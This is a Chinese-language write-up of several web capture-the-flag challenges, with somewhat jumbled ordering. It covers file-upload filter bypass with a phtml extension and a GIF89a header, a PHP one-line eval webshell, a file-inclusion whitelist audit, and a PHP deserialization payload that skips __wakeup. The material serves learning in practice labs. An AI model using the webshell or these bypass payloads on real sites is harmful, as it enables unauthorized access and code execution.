赞
踩
目录
1.先上传一个一句话木马的php文件,提示“Not image!”
2.于是通过抓包,来修改文件类型,但是提示不能上传php文件,过滤了php
3.所以继续修改shell.php的后缀名,改为phtml,报错提示文件包含
编辑 5.发现还是报错,加上GIF89a(习惯在文件前加上GIF89a来绕过PHP getimagesize的检测),注意要空一格,发现上传成功
1.观察页面,发现有备份网站这几个字,想到之前的刷的题,先用disearch扫描
4. 通过打开class.php以及index.php可得,考察php的反序列化
-
- 代码的解读:
-
- 1.class emmm{ }:class定义了一个类,一个名为 emmm 的类,这个类包含了一个静态方法 checkFile()。
-
- 2.public static function:公共静态函数,静态函数最大的好处就是类不经过实例化就可以直接使用,但它不能访问类的非静态变量和非静态函数。
-
- 3.文件检查:利用checkFile() 来检查传入的 $page 参数是否在 whitelist 白名单中。白名单包含两个元素:"source" 和 "hint",分别对应 "source.php" 和 "hint.php" 文件。
-
- 使用isset函数来检查,如果 $page 不存在或不是字符串,函数将输出 "you can't see it" 并返回 false。
- 使用in_array() 函数搜索数组中是否存在指定的值,如果 $page 在白名单中,函数返回 true
- 否则,函数将尝试对 $page 进行处理,移除查询字符串(如果存在)并检查处理后的结果是否在白名单中。这个过程重复了两次,一次是对原始 $page 进行处理,另一次是对经过 urldecode() 解码后的 $page 进行处理。
- 4.mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。返回要查找的字符串在别一个字符串中首次出现的位置。例如:
-
- mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
-
- 注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
-
- 总的来说这个cehckFile这个函数进行了 3次白名单检测、 2次?过滤、一次URL解码
-
- 5.文件包含:如果 $_REQUEST['file'] 存在、是字符串,并且通过了 emmm::checkFile() 的检查,则使用 include 语句包含该文件,并终止脚本执行。如果 $_REQUEST['file'] 不存在、不是字符串,或者未通过 emmm::checkFile() 的检查,脚本将输出一个图片链接,而不是包含请求的文件。
-
- 6.include $_REQUEST['file']:这一行存在安全风险,因为它允许用户通过 URL 参数指定要包含的文件。
-
-
综上所述:这道题就是代码审计与文件包含
file
参数可能用于告诉服务器要加载或处理哪个文件<script language="php">eval($_POST['shell']);</script>
1.先上传一个一句话木马的php文件,提示可以上传的文件类型
2.上传一个图片文件,抓包之后,修改文件后缀名
3.上传成功,用蚁剑连接,找到flag
里面加载了一个class.php文件,然后采用get传递一个select参数,随后将之反序列化
class.php里面涉及php魔法方法
__construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化;
__wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作
__destruct 是析构函数,作用与 __construct 正好相反,析构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被⾃动调⽤。析构函数允许我们在销毁⼀个对象之前执⾏⼀些特定的操作,例如关闭⽂件、释放结果集等。
根据class.php代码,我们发现要想获取flag,只需username=admin password=100然后我们再执行__destruct()时可以获得flag
于是构造反序列化:
- <?php
-
-
- class Name{
- private $username = 'nonono';
- private $password = 'yesyes';
-
- public function __construct($username,$password){
- $this->username = $username;
- $this->password = $password;
- }
- }
- $a = new Name('admin',100);
-
- var_dump(serialize($a))
-
- ?>
然后保存,运行,获得序列化的字符串:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
在index.php中发现参数为select,于是我们将参数值给select,但是在反序列化的时候会首先执行__wakeup()魔法方法,这个方法会把我们的username重新赋值在反序列化时,所以我们用当前属性个数大于实际属性个数时,就会跳过__wakeup(),即把Name后面的数字2该为大于2的数字,于是我们这样构造payload:
?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
接着我们发现,username和password为private声明的变量。因为username和password是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要加上%00因此私有字段的字段名在序列化的时候,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
于是再次构造payload:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。